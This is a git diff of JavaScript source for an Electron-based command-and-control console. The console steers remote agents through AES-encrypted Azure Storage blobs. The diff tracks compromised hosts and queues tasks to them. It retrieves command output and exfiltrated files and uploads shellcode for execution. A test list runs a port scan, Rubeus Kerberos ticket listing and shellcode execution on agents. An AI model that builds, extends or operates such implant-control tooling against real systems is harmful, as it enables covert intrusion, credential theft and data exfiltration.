{ command: "scan 127.0.0.1 -p22,80,445,8080"},
{ command: "assembly /Users/bobby/Rubeus_v4.0_InspirationOpinion.exe klist"},
{ command: "scexec /Users/bobby/popcalc.bin"}
];
async function executeCommandTests() {
try{
printToConsole(`<i style="color:#808080">[+] Starting command tests...</i>`);
// Execute each command with basic test parameters
for (const cmd of testCommands) {
let testCommand = cmd.command;
// Put the command in the input box and send it
const input = document.getElementById('consoleInput');
input.value = testCommand;
sendCommand();
await new Promise(resolve => setTimeout(resolve, 5000));
}
} catch (error) {
log(`Error in executeCommandTests: ${error.message}\r\n${error.stack}`);
}
}
Binary file not shown.

Before

Width:  |  Height:  |  Size: 521 KiB

After

Width:  |  Height:  |  Size: 1.1 MiB

+179 -182
View File
@@ -7,6 +7,32 @@ const { log } = require('console');
const { getAppDataDir } = require('./common');
const directories = getAppDataDir();
class Agent {
constructor() {
this.agentid = '';
this.arch = '';
this.container = '';
this.hostname = '';
this.IP = [];
this.osRelease = '';
this.osType = '';
this.PID = null;
this.platform = '';
this.Process = '';
this.username = '';
this.checkin = Date.now();
this.tasks = [];
this.aes = {
'key': null,
'iv': null
};
this.blobs = {
'checkin': null,
'in': null
};
}
}
function decodeBase64(base64) {
const buffer = Buffer.from(base64, 'base64');
return buffer.toString('utf-8');
@@ -15,11 +41,11 @@ function encodeBase64(input) {
const buffer = Buffer.from(input, 'utf-8');
return buffer.toString('base64');
}
async function aesEncrypt(data,key,iv) {
async function aesEncrypt(data, key, iv) {
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
let encrypted = "";
if ( Buffer.isBuffer( data ) ) {
if (Buffer.isBuffer(data)) {
encrypted = Buffer.concat([cipher.update(data), cipher.final()]);
}
else {
@@ -45,7 +71,7 @@ async function aesDecrypt(encryptedData, key, iv) {
}
return decrypted;
}
async function DeleteStorageContainer(StorageContainer,config)
async function DeleteStorageContainer(StorageContainer)
{
let options = {
hostname: global.config.storageAccount,
@@ -59,8 +85,7 @@ async function DeleteStorageContainer(StorageContainer,config)
};
return await makeRequest(options);
}
// no deps
async function DeleteStorageBlob(StorageContainer,StorageBlob,config)
async function DeleteStorageBlob(StorageContainer,StorageBlob)
{
let options = {
hostname: global.config.storageAccount,
@@ -73,7 +98,7 @@ async function DeleteStorageBlob(StorageContainer,StorageBlob,config)
};
return await makeRequest(options);
}
async function preloadContainers(metaContainer,config)
async function preloadContainers()
{
let meta_agent_container_info = [];
log(`azure.js | preloadContainers() | global.config: ${JSON.stringify(global.config)}`);
@@ -98,7 +123,7 @@ async function preloadContainers(metaContainer,config)
for (const blob of blobs) {
try
{
let agent_container = await readBlob(global.config.metaContainer,blob,config);
let agent_container = await readBlob(global.config.metaContainer,blob);
if(agent_container.status === 200)
{
let this_agent_info = {
@@ -118,58 +143,36 @@ async function preloadContainers(metaContainer,config)
return null;
}
}
class Agent {
constructor() {
this.agentid = '';
this.arch = '';
this.container = '';
this.hostname = '';
this.IP = [];
this.osRelease = '';
this.osType = '';
this.PID = null;
this.platform = '';
this.Process = '';
this.username = '';
this.checkin = Date.now();
this.aes = {
'key': null,
'iv': null
};
this.blobs = {
'key': null,
'checkin': null,
'in': null,
'out': null
};
}
}
async function updateDashboardTable(containerName,config)
async function updateDashboardTable()
{
let agentcheckins = [];
try {
let thisAgent = null;
let agentObj = null;
let MetaBlobs = await list_blobs(global.config.metaContainer,config);
let MetaBlobs = await list_blobs(global.config.metaContainer);
for (const agentMetaBlob of MetaBlobs)
{
try
{
if(global.agents.find(agent => agent.agentid === agentMetaBlob)){
log(`azure.js | updateDashboardTable() | ${agentMetaBlob} | [!] Agent ${agentMetaBlob} already exists in global.agents`);
thisAgent = global.agents.find(agent => agent.agentid === agentMetaBlob);
log(`azure.js | updateDashboardTable() | ${agentMetaBlob} | Found existing agent object: ${JSON.stringify(thisAgent)}`);
}
else{
log(`azure.js | updateDashboardTable() | ${agentMetaBlob} | [!] Agent ${agentMetaBlob} does not exist in global.agents`);
thisAgent = new Agent();
thisAgent.agentid = agentMetaBlob;
let metaAgentResponse = await readBlob(global.config.metaContainer,agentMetaBlob,config);
thisAgent.aes = await getContainerAesKeys(thisAgent.agentid);
if(thisAgent.aes == null){ continue; }
let metaAgentResponse = await readBlob(global.config.metaContainer,agentMetaBlob);
if(metaAgentResponse.status != 200 || metaAgentResponse.response.data == null){ continue; }
thisAgent.container = metaAgentResponse.data;
thisAgent.blobs = await getContainerBlobs(thisAgent.container,config);
thisAgent.aes = await getContainerAesKeys(thisAgent.container,thisAgent.blobs['key'],config);
let checkinData = await checkinContainer(thisAgent.container, thisAgent.aes, thisAgent.blobs,config);
agentObj = JSON.parse(checkinData);
thisAgent.blobs = await getContainerBlobs(thisAgent.container);
if(thisAgent.blobs == null ){ continue; }
let checkinData = await checkinContainer(thisAgent.container, thisAgent.aes, thisAgent.blobs);
if(checkinData == null){ continue; }
try {
if (typeof checkinData === 'string') { agentObj = JSON.parse(checkinData); } else { continue; }
} catch (error) { continue; }
thisAgent.hostname = agentObj.hostname;
thisAgent.IP = agentObj.IP;
thisAgent.osRelease = agentObj.osRelease;
@@ -179,30 +182,25 @@ async function updateDashboardTable(containerName,config)
thisAgent.Process = agentObj.Process;
thisAgent.username = agentObj.username;
thisAgent.arch = agentObj.arch;
global.agents.push(thisAgent);
}
let checkinBlobLastModified = await getBlobLastModified(thisAgent.container,thisAgent.blobs['in']);
if (!checkinBlobLastModified)
{
log(`azure.js | updateDashboardTable() | ${response.status} | [!] Missing Last-Modified header for agent ${agent_container_id}`);
thisAgent.checkin = Date.now()-60000;
continue;
if (global.haltUpdate == false) { global.agents.push(thisAgent); }
}
let checkinBlobLastModified = await getBlobLastModified(global.config.metaContainer,agentMetaBlob);
const timestamp = new Date(checkinBlobLastModified).getTime();
thisAgent.checkin = timestamp;
agentcheckins.push(thisAgent);
}catch(error)
{
log(`Failed to get checkin from listed agent container ${error.stack}`);
log(`Failed to get checkin from listed agent container ${error.stack}`);
return 0;
}
}
return JSON.stringify(agentcheckins);
} catch (error) {
console.error(`Error listing blobs in container ${containerName}: ${error.message} ${error.stack}\n ${JSON.stringify(agentcheckins)}`);
console.error(`Error listing blobs in container: \r\n\t${error.message} \r\n\t${error.stack}\n ${JSON.stringify(agentcheckins)}`);
return 0;
}
}
async function list_blobs(containerName,config)
async function list_blobs(containerName)
{
try{
let options = {
@@ -218,7 +216,7 @@ async function list_blobs(containerName,config)
let blobs = response.data.match(/<Name>([^<]+)<\/Name>/g).map(b => b.replace(/<\/?Name>/g, ''));
return blobs;
} catch (error) {
console.error(`Error listing blobs in container ${containerName}: ${error.message} ${error.stack}`);
//console.error(`Error listing blobs in container ${containerName}: ${error.message} ${error.stack}`);
return [];
}
}
@@ -237,18 +235,14 @@ async function getBlobLastModified(containerName,blob)
const lastModified = response.response.headers["last-modified"];
return lastModified;
}
async function returnAgentCheckinInfo(agentContainer,agentInputChannel)
async function returnAgentCheckinInfo(agentid)
{
try{
let checkinBlobLastModified = await getBlobLastModified(agentContainer,agentInputChannel);
if (!checkinBlobLastModified)
{
log(`azure.js | updateDashboardTable() | ${response.status} | [!] Missing Last-Modified header for agent ${agent_container_id}`);
thisAgent.checkin = Date.now()-60000;
}
let checkinBlobLastModified = await getBlobLastModified(global.config.metaContainer,agentid);
return new Date(checkinBlobLastModified).getTime();
} catch (error) {
console.error(`returnAgentCheckinInfo() | Error listing blobs in container ${containerName}:`, error.message, error.stack);
console.error(`returnAgentCheckinInfo() | Error :`, error.message, error.stack);
return 0;
}
}
@@ -266,9 +260,6 @@ async function makeRequest(options, data = null) {
const requestId = Date.now().toString();
// Set up response handler before sending request
const responseHandler = (event, response) => {
// log(`[WEB-REQUEST ] url : ${url}`);
// log(`[WEB-RESPONSE] status: ${response.status}`);
// log(`[WEB-RESPONSE] data : ${response.data}`);
if (response.error) {
log(`[WEB-REQUEST] Error: ${response.error}`);
reject(new Error(response.error));
@@ -308,7 +299,7 @@ async function makeRequest(options, data = null) {
}, timeout);
});
}
async function UploadBlobToContainer(StorageContainer,StorageBlob,data,config)
async function UploadBlobToContainer(StorageContainer,StorageBlob,data)
{
if ( data == null)
@@ -330,7 +321,7 @@ async function UploadBlobToContainer(StorageContainer,StorageBlob,data,config)
};
return makeRequest(options,data);
}
async function readBlob(StorageContainer, StorageBlob, config) {
async function readBlob(StorageContainer, StorageBlob) {
try {
const options = {
hostname: global.config.storageAccount,
@@ -352,64 +343,73 @@ async function readBlob(StorageContainer, StorageBlob, config) {
return null;
}
}
async function getContainerBlobs(containerName,config)
async function getContainerBlobs(containerName)
{
let inputBlob = "";
let outputBlob = "";
let checkinBlob = "";
let keyBlob = "";
try {
let agent_blobs = await list_blobs(containerName,config);
let agent_blobs = await list_blobs(containerName);
if(agent_blobs == null){
return false;
}
for (const blob of agent_blobs)
{
if (blob.startsWith('i-')) {
inputBlob = blob;
}
if (blob.startsWith('o-')) {
outputBlob = blob;
}
if (blob.startsWith('c-')) {
checkinBlob = blob;
}
if (blob.startsWith('k-')) {
keyBlob = blob;
}
}
const blobs = {
'key' : keyBlob,
'checkin' : checkinBlob,
'in' : inputBlob,
'out' : outputBlob
};
return blobs;
} catch (error) {
return false;
}
}
async function getContainerAesKeys(containerName,containerKeyBlob,config)
async function getContainerAesKeys(agentid)
{
try {
let kBlobContent;
kBlobContent = await readBlob(containerName, containerKeyBlob, config);
const kBlobJson = JSON.parse(kBlobContent.data);
const aes_key = kBlobJson['key']
const aes_iv = kBlobJson['iv']
key = {
'key':aes_key,
'iv':aes_iv
}
return key;
} catch (error) {
log(`getContainerAesKeys() | Error listing blobs in container ${containerName}:`, error.message);
}
try {
const options = {
hostname: global.config.storageAccount,
port: 443,
path: `/${global.config.metaContainer}/${agentid}?comp=metadata&${global.config.sasToken}`,
method: 'GET',
headers: {
'x-ms-version': '2022-11-02',
'x-ms-date': new Date().toUTCString()
}
};
const response = await makeRequest(options);
if(response.response.headers["x-ms-meta-signature"] == null || response.response.headers["x-ms-meta-hash"] == null){
return null;
}
let aes_key = decodeBase64(response.response.headers["x-ms-meta-signature"]);
let aes_iv = decodeBase64(response.response.headers["x-ms-meta-hash"]);
let key = {
'key':JSON.parse(aes_key),
'iv': JSON.parse(aes_iv)
}
return key;
} catch (error) {
console.error(`[AESKEYS][!] Error getting aes keys for agent ${agentid}:`, error.message, error.stack);
return null;
}
}
async function checkinContainer(containerName, aes, blobs,config)
async function checkinContainer(containerName, aes, blobs)
{
const aes_key_bytes = Buffer.from(aes['key'], 'hex');
const aes_iv_bytes = Buffer.from(aes['iv'], 'hex');
try {
let checkin = await readBlob(containerName, blobs['checkin'], config);
log(`checkinContainer() | containerName : ${containerName}`);
log(`checkinContainer() | aes : ${JSON.stringify(aes)}`);
const aes_key_bytes = Buffer.from(aes['key'], 'hex');
const aes_iv_bytes = Buffer.from(aes['iv'], 'hex');
let checkin = await readBlob(containerName, blobs['checkin']);
let enc_checkin = decodeBase64(checkin.data);
const dec_checkin = await aesDecrypt(enc_checkin,aes_key_bytes,aes_iv_bytes);
if (!dec_checkin) {
@@ -421,9 +421,11 @@ async function checkinContainer(containerName, aes, blobs,config)
}
} catch (error) {
console.error(`Error connecting to container ${containerName}:`, error.message);
return null;
}
}
async function clearBlob(StorageContainer, StorageBlob,config)
async function clearBlob(StorageContainer, StorageBlob)
{
const options = {
hostname: global.config.storageAccount,
@@ -440,82 +442,81 @@ async function clearBlob(StorageContainer, StorageBlob,config)
};
return makeRequest(options);
}
async function uploadCommand(containerCmd,config)
async function uploadCommand(agent_object)
{
let containerCommand = JSON.parse(containerCmd);
const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex');
const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex');
const inputblob = containerCommand.blobs['in'];
const outputblob = containerCommand.blobs['out'];
const containerName = containerCommand.name;
console.log(`${inputblob} ${outputblob} ${containerName}`);
const encryptedData = await aesEncrypt(containerCommand.cmd,aes_key_bytes,aes_iv_bytes);
const b64EncData = encodeBase64(encryptedData);
let response = await UploadBlobToContainer(containerCommand.name,containerCommand.blobs['in'],b64EncData,config);
if(response.status != 201)
{
log(`azure.js | uploadCommand() | ${response.status} | [!] Failed to upload command to container ${containerName}`);
return null;
}
let decrypted_out_data;
const startTime = Date.now();
let currentTime;
let elapsed;
while(true)
{
let command_output = await readBlob(containerCommand.name,containerCommand.blobs['out'],config);
if (command_output === null)
{
return null;
const task = agent_object.tasks[agent_object.tasks.length - 1];
const key = Buffer.from(agent_object.aes['key']);
const iv = Buffer.from(agent_object.aes['iv']);
// Read the blob first to check if it's empty
let blobCheck = await readBlob(agent_object.container, agent_object.blobs['in']);
if (blobCheck.status === 200) {
if (!blobCheck.data || blobCheck.data.length === 0) {
// Blob exists but is empty, proceed with upload
const encryptedData = await aesEncrypt(JSON.stringify(task), key, iv);
const b64EncData = encodeBase64(encryptedData);
let response = await UploadBlobToContainer(agent_object.container, agent_object.blobs['in'], b64EncData);
if (response.status != 201) {
log(`azure.js | uploadCommand() | ${response.status} | [!] Failed to upload command to container ${agent_object.container}`);
return null;
}
let decrypted_out_data;
const startTime = Date.now();
let currentTime;
let elapsed;
while(true) {
let command_output = await readBlob(agent_object.container, task.outputChannel);
if (command_output === null) {
await new Promise(resolve => setTimeout(resolve, 2000));
continue;
}
if (command_output['data']) {
let encrypted_out_data = decodeBase64(command_output['data']);
decrypted_out_data = await aesDecrypt(encrypted_out_data, key, iv);
await clearBlob(agent_object.container, task.outputChannel);
await DeleteStorageBlob(agent_object.container, task.outputChannel);
break;
}
currentTime = Date.now();
elapsed = (currentTime - startTime)/1000;
let waittime = 1200;
if (elapsed > waittime) {
decrypted_out_data = `[!] No response for ${task.taskId} after ${waittime} seconds to output channel ${task.outputChannel}\r\n${task.command}`;
break;
}
}
return decrypted_out_data;
}
if (command_output['data'])
{
let encrypted_out_data = decodeBase64(command_output['data']);
decrypted_out_data = await aesDecrypt(encrypted_out_data,aes_key_bytes,aes_iv_bytes);
await clearBlob(containerName,outputblob,config);
break;
}
currentTime = Date.now();
elapsed = (currentTime - startTime)/1000;
let waittime = 90;
if (containerCommand.cmd.includes("scan "))
{
waittime = 300;
}
if(elapsed > waittime)
{
decrypted_out_data = "No response for command.";
break;
}
}
return decrypted_out_data;
return false;
}
async function pullDownloadFile(containerCmd,filename,blob,config)
async function pullDownloadFile(agent_object,filename,blob)
{
try{
log(`azure.js | pullDownloadFile()`);
let StorageAccount = config.storageAccount;
let sasToken = config.sasToken;
let containerCommand = JSON.parse(containerCmd);
const key = Buffer.from(agent_object.aes['key']);
const iv = Buffer.from(agent_object.aes['iv']);
let baseFileName = path.basename(filename);
log(`pullDownloadFile() | filename : ${filename}`);
log(`pullDownloadFile() | blob : ${blob}`);
log(`pullDownloadFile() | command info : ${JSON.stringify(containerCommand)}`);
const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex');
const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex');
let raw;
if (!fs.existsSync(directories.downloadsDir)) {
fs.mkdirSync(directories.downloadsDir, { recursive: true });
}
const destPath = path.join(directories.downloadsDir, baseFileName);
const url = `https://${StorageAccount}/${containerCommand.name}/${blob}?${sasToken}`;
const url = `https://${global.config.storageAccount}/${agent_object.container}/${blob}?${global.config.sasToken}`;
log(`pullDownloadFile() | URL : ${url}`);
let buffer;
let index = 1;
while(true)
{
let response = await fetch(url);
if (!response.ok) {
log(`pullDownloadFile loop : ${index} | Failed to download file. Sleeping for 3 seconds and trying again. Status: ${response.status} ${response.statusText}`);
await new Promise(resolve => setTimeout(resolve, 3000));
@@ -527,7 +528,7 @@ async function pullDownloadFile(containerCmd,filename,blob,config)
}
index +=1;
}
raw = await aesDecrypt( buffer, aes_key_bytes, aes_iv_bytes );
raw = await aesDecrypt( buffer, key, iv );
await fsp.writeFile(destPath, raw, (err) => {
log(`Error writing file: ${err.stack}`);
});
@@ -537,18 +538,19 @@ async function pullDownloadFile(containerCmd,filename,blob,config)
log(`pullDownloadFile() Error: ${error} ${error.stack}`);
}
}
async function uploadSCToAzure(containerCmd, StorageBlob, filePath,config)
{
let StorageAccount = config.storageAccount;
let sasToken = config.sasToken;
async function uploadSCToAzure(agent_object, StorageBlob, filePath)
{
try {
let containerCommand = JSON.parse(containerCmd);
const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex');
const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex');
log(`[AZURE][UPLOAD] uploadSCToAzure() | agent_object : ${JSON.stringify(agent_object)}`);
log(`[AZURE][UPLOAD] uploadSCToAzure() | StorageBlob : ${StorageBlob}`);
log(`[AZURE][UPLOAD] uploadSCToAzure() | filePath : ${filePath}`);
const key = Buffer.from(agent_object.aes['key']);
const iv = Buffer.from(agent_object.aes['iv']);
const fileContent = await fsp.readFile(filePath);
const enc = await aesEncrypt( fileContent, aes_key_bytes, aes_iv_bytes );
const sasUrl = `https://${StorageAccount}/${containerCommand.name}/${StorageBlob}?${sasToken}`;
const enc = await aesEncrypt( fileContent, key, iv );
const sasUrl = `https://${global.config.storageAccount}/${agent_object.container}/${StorageBlob}?${global.config.sasToken}`;
const response = await fetch(sasUrl, {
port: 443,
method: 'PUT',
@@ -558,25 +560,21 @@ async function uploadSCToAzure(containerCmd, StorageBlob, filePath,config)
},
body: enc
});
log(`response ${response.ok}`);
log(`[AZURE][UPLOAD] response ${response.ok}`);
} catch (error) {
output = `Error uploading file to azure : ${error.stack}`;
log(`azure.js | uploadSCToAzure()\r\nError ${output}`);
log(`[AZURE][UPLOAD] Error uploading file to azure : ${error.stack}`);
}
}
async function uploadFileToAzure(containerCmd, StorageBlob, filePath,config)
{
let StorageAccount = config.storageAccount;
let sasToken = config.sasToken;
try {
let containerCommand = JSON.parse(containerCmd);
const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex');
const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex');
const fileContent = await fsp.readFile(filePath);
const enc = await aesEncrypt( fileContent, aes_key_bytes, aes_iv_bytes );
const sasUrl = `https://${StorageAccount}/${containerCommand.name}/${StorageBlob}?${sasToken}`;
const response = await fetch(sasUrl, {
async function uploadFileToAzure(agent_object, StorageBlob, filePath)
{
try {
const key = Buffer.from(agent_object.aes['key']);
const iv = Buffer.from(agent_object.aes['iv']);
const fileContent = await fsp.readFile(filePath);
const enc = await aesEncrypt( fileContent, key, iv );
const sasUrl = `https://${global.config.storageAccount}/${agent_object.container}/${StorageBlob}?${global.config.sasToken}`;
const response = await fetch(sasUrl, {
port: 443,
method: 'PUT',
headers: {
@@ -586,8 +584,7 @@ async function uploadFileToAzure(containerCmd, StorageBlob, filePath,config)
body: enc
});
} catch (error) {
output = `Error uploading file to azure : ${error.stack}`;
log(`azure.js | uploadFileToAzure()\r\nError ${output}`);
log(`azure.js | uploadFileToAzure()\r\nError uploading file to azure : ${error.stack}`);
}
}
module.exports = {
+42 -94
View File
@@ -1,12 +1,9 @@
const { ipcRenderer } = require('electron');
const path = require('path');
//const fs = require('fs'); // Use synchronous fs module for createWriteStream
const { log } = require('console');
const { getAppDataDir } = require('./common');
const directories = getAppDataDir();
let tableinit = false;
function log(message)
function logMain(message)
{
const timestamp = new Date().toISOString();
log(`[${timestamp}] ${message}`);
@@ -52,15 +49,13 @@ window.addEventListener('DOMContentLoaded', () => {
sortState.column = column;
sortState.order = 'asc';
}
log(`${sortState['column']} column sort set to ${sortState['order']}`);
logMain(`${sortState['column']} column sort set to ${sortState['order']}`);
updateTableSort();
});
});
const table = document.getElementById('containerTable');
if (!table) return;
// **Fix: Remove existing event listener before adding**
table.removeEventListener('contextmenu', handleContextMenu);
table.addEventListener('contextmenu', handleContextMenu);
});
@@ -94,7 +89,6 @@ function handleContextMenu(event) {
window.addEventListener('DOMContentLoaded', async () => {
//const containerTable = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
let sortState = {
column: null,
order: 'none' // 'asc', 'desc', 'none'
@@ -114,7 +108,7 @@ window.addEventListener('DOMContentLoaded', async () => {
sortState.column = column;
sortState.order = 'asc';
}
log(`${sortState['column']} column sort set to ${sortState['order']}`);
logMain(`${sortState['column']} column sort set to ${sortState['order']}`);
updateTableSort();
});
@@ -123,71 +117,47 @@ window.addEventListener('DOMContentLoaded', async () => {
const table = document.getElementById('containerTable');
if (!table) return;
// **Fix: Remove existing event listener before adding**
table.removeEventListener('contextmenu', handleContextMenu);
log("Adding event listener context menu");
table.addEventListener('contextmenu', handleContextMenu);
async function initTable() {
try {
//log("sent IPC for get-containers");
let agentinit = null;
while(agentinit == null)
{
agentinit = await ipcRenderer.invoke('preload-agents');
await new Promise(resolve => setTimeout(resolve, 3000));
}
// async function initTable() {
// try {
// let agentinit = null;
// while(agentinit == null)
// {
// agentinit = await ipcRenderer.invoke('preload-agents');
// await new Promise(resolve => setTimeout(resolve, 3000));
// }
//console.log(`agentinit : ${agentinit}`);
let agents = JSON.parse(agentinit);
// let agents = JSON.parse(agentinit);
agents.forEach(agent => {
let thisrow = updateOrAddRow(agent);
thisrow.cells[0].textContent = agent.agentid;
thisrow.cells[1].textContent = agent.containerid;
thisrow.cells[2].textContent = '';
thisrow.cells[3].textContent = '';
thisrow.cells[4].textContent = '';
thisrow.cells[5].textContent = '';
thisrow.cells[6].textContent = '';
thisrow.cells[7].textContent = '';
thisrow.cells[8].textContent = '';
});
//log('Table updated with init agent data');
} catch (error) {
log(`Error in index.js initTable() updating table: ${error} ${error.stack}`);
}
}
// agents.forEach(agent => {
// let thisrow = updateOrAddRow(agent);
// thisrow.cells[0].textContent = agent.agentid;
// thisrow.cells[1].textContent = agent.containerid;
// thisrow.cells[2].textContent = '';
// thisrow.cells[3].textContent = '';
// thisrow.cells[4].textContent = '';
// thisrow.cells[5].textContent = '';
// thisrow.cells[6].textContent = '';
// thisrow.cells[7].textContent = '';
// thisrow.cells[8].textContent = '';
// });
// } catch (error) {
// logMain(`Error in index.js initTable() updating table: ${error} ${error.stack}`);
// }
// }
async function updateTable() {
try {
let agentcheckins;
agentcheckins = await ipcRenderer.invoke('get-containers');
//log(`updateTable() : agentcheckins : ${agentcheckins}`);
const table = document.getElementById('containerTable'); // Ensure this matches your table ID
//log(`table : ${table.innerText}`);
//log(`agentcheckins : ${agentcheckins}`);
if (agentcheckins == 0) {
//log(`updateTable() : agentcheckins == 0; agentcheckins : ${agentcheckins}`);
// Clear all rows from the table
// while (table.rows.length > 1) { // Keeps the header row if it exists
// table.deleteRow(1);
// }
//log("Table cleared since there are no agents present.");
} else {
//log(`updateTable() : agentcheckins != 0; agentcheckins : ${agentcheckins}`);
if (agentcheckins != 0) {
const agents = JSON.parse(agentcheckins);
// Clear the existing rows before updating
// while (table.rows.length > 1) {
// table.deleteRow(1);
// }
let agent_index = 0;
agents.forEach(agent => {
//log(`agent ${agent_index}: ${JSON.stringify(agent)}`);
agent_index++;
if (agent != 0)
{
@@ -195,27 +165,18 @@ window.addEventListener('DOMContentLoaded', async () => {
let isnewrow = false;
if (thisrow.cells[2].textContent == '-' || !thisrow.cells[0].textContent) {
//log("this is a new row.");
isnewrow = true;
}
// Get the process base name from absolute path
const filePath = agent.Process.trim(); // Ensure the string is clean
//log(`Original Path: ${filePath}`);
const filePath = agent.Process.trim();
let fileName;
// Detect which type of path is present and use the appropriate method
if (filePath.includes("\\") && !filePath.includes("/")) {
// Windows-style path (only backslashes)
fileName = path.win32.basename(filePath);
} else if (filePath.includes("/") && !filePath.includes("\\")) {
// macOS/Linux-style path (only forward slashes)
fileName = path.posix.basename(filePath);
} else {
// Mixed slashes case (or unknown)
fileName = filePath.split(/[/\\]/).pop(); // Manually extract filename
fileName = filePath.split(/[/\\]/).pop();
}
//log(`Extracted File Name: ${fileName}`);
let platformName = agent.platform; // Default to the original value
let platformName = agent.platform;
if (agent.platform === "darwin") {
platformName = "macOS";
@@ -234,38 +195,25 @@ window.addEventListener('DOMContentLoaded', async () => {
thisrow.cells[7].textContent = agent.arch;
thisrow.cells[8].textContent = platformName; // Set formatted platform name
thisrow.cells[9].textContent = timeDifference(agent.checkin);
// if (isnewrow) {
// thisrow.addEventListener('click', () => {
// ipcRenderer.send('open-container-window', JSON.stringify(agent));
// }, { once: true });
thisrow.replaceWith(thisrow.cloneNode(true)); // Remove previous listeners
//thisrow = document.querySelector("#yourRowId"); // Re-select the element
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
//log(`Attempting to find match in table for agent ${agent.agentid}`);
for (let row of table.rows) {
//log(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`);
if (row.cells[0].textContent == agent.agentid) {
thisrow = row;
break;
}
}
thisrow.addEventListener('click', () => {
console.log("Row clicked!"); // Debugging: Check if it logs multiple times
ipcRenderer.send('open-container-window', agent.agentid);
}, { once: true }); // Ensures it only triggers once per element
// }
}
});
updateTableSort();
tableinit = true;
}
}catch (error) {
log(`Error in index.js updateTable() updating table: ${error} ${error.stack}`);
logMain(`Error in index.js updateTable() updating table: ${error} ${error.stack}`);
}
}
@@ -275,20 +223,20 @@ window.addEventListener('DOMContentLoaded', async () => {
let rowExists = false;
let thisRow;
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
//log(`Attempting to find match in table for agent ${agent.agentid}`);
//logMain(`Attempting to find match in table for agent ${agent.agentid}`);
for (let row of table.rows) {
//log(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`);
//logMain(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`);
if (row.cells[0].textContent == agent.agentid) {
thisRow = row;
rowExists = true;
//log(`Matched row for agent ${agent.agentid}`);
//logMain(`Matched row for agent ${agent.agentid}`);
break;
}
}
if(!rowExists)
{
//log(`Failed to match row for agent ${agent.agentid}`);
//logMain(`Failed to match row for agent ${agent.agentid}`);
thisRow = table.insertRow();
thisRow.insertCell(0);
thisRow.insertCell(1);
@@ -304,7 +252,7 @@ window.addEventListener('DOMContentLoaded', async () => {
return thisRow;
}catch(error)
{
log(`Error in updateOrAddRow() : ${error} ${error.stack}`);
logMain(`Error in updateOrAddRow() : ${error} ${error.stack}`);
}
}
@@ -341,20 +289,20 @@ window.addEventListener('DOMContentLoaded', async () => {
}
// Initial table update
await initTable();
// await initTable();
await updateTable();
// Update the table every second
setInterval(updateTable, 2000);
setInterval(updateTable, 1000);
});
ipcRenderer.on('remove-table-row', (event, agentId) => {
log(`Removing row for agent ID: ${agentId}`);
logMain(`Removing row for agent ID: ${agentId}`);
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
for (let row of table.rows) {
if (row.cells[0].textContent.trim() === agentId.trim()) {
row.remove(); // Remove the row from the table
log(`Row for agent ${agentId} removed.`);
logMain(`Row for agent ${agentId} removed.`);
break;
}
}
+120 -93
View File
@@ -12,6 +12,7 @@ let init_cwd = 0;
let pwd = '';
let mode = '';
let currentFile = '';
global.agent = null;
function splitStringWithQuotes(str) {
@@ -81,57 +82,48 @@ function doDownloadFile(argv)
return download;
}
class Task {
constructor(command) {
this.outputChannel = 'o-' + Math.random().toString(36).substring(2, 14);
this.command = command;
}
}
function sendCommand(command) {
let argv = splitStringWithQuotes(command);
log(`argv : ${argv}`);
log(`explorer.js : sendCommand : ${command}`);
log(`containerBlob : ${containerBlob}`);
log(`containerKey : ${containerKey}`);
log(`containerName : ${containerName}`);
let containerCmd = JSON.parse(`{"blobs":${containerBlob}}`);
containerCmd.key = JSON.parse(containerKey);
containerCmd.name = containerName;
containerCmd.cmd = command;
log(`containerCmd : \r\n${JSON.stringify(containerCmd)}`);
log(`[EXPLORER][SENDCMD] command : ${command}`);
log(`[EXPLORER][SENDCMD] argv : ${argv}`);
let download;
let download_command;
const task = new Task(
command
);
if (!Array.isArray(global.agent.tasks)) {
global.agent.tasks = [];
}
global.agent.tasks.push(task);
log(`[EXPLORER][SENDCMD] task : ${JSON.stringify(global.agent.tasks[global.agent.tasks.length - 1])}`);
log(`argv[0] : ${argv[0]}`);
if (argv[0] == "download")
{
log(`hit download`);
let currentPath = document.getElementById("dirPath").value.trim();
const concatenated = argv.slice(1).join(" ");
argv[1] = currentPath.endsWith("/") ? currentPath + concatenated : currentPath + "/" + concatenated;
log(`argv : ${argv}`);
download = doDownloadFile(argv);
log(`[+] SendCommand.explorer.js : JSON.stringify(download) \r\n: ${JSON.stringify(download)}`);
download_command = `download ${download['file']} ${download['blob']}`;
log(`[+] SendCommand.explorer.js : command : ${download_command}`);
containerCmd.cmd = download_command;
log("pulling download file");
log(`download['file'] : ${download['file']}`);
log(`download['blob'] : ${download['blob']}`);
log(`containerCmd : \r\n${JSON.stringify(containerCmd)}`);
ipcRenderer.send('pull-download-file', JSON.stringify(containerCmd),download['file'],download['blob']); // Send command and container name
log(`[+] SendCommand.explorer.js : JSON.stringify(containerCmd) \r\n: ${JSON.stringify(containerCmd)}`);
ipcRenderer.send('upload-client-command-to-input-channel', JSON.stringify(containerCmd)); // Send command and container name
global.agent.tasks[global.agent.tasks.length - 1].command = `download ${download['file']} ${download['blob']}`;
ipcRenderer.send('pull-download-file', global.agent,download['file'],download['blob']); // Send command and container name
ipcRenderer.send('upload-client-command-to-input-channel', global.agent); // Send command and container name
//
}
else{
log(`hit all else handler`);
ipcRenderer.send('upload-client-command-to-input-channel', JSON.stringify(containerCmd)); // Send command and container name
log(`[EXPLORER][SENDCMD] hit all else handler`);
ipcRenderer.send('upload-client-command-to-input-channel', global.agent); // Send command and container name
}
}
async function initialize() {
log(`Initialize explorer.js`);
log(`explorer.js : initialize `);
mode = "pwd";
sendCommand("pwd");
// listFiles();
await sendCommand("pwd");
}
async function listFiles() {
@@ -139,42 +131,78 @@ async function listFiles() {
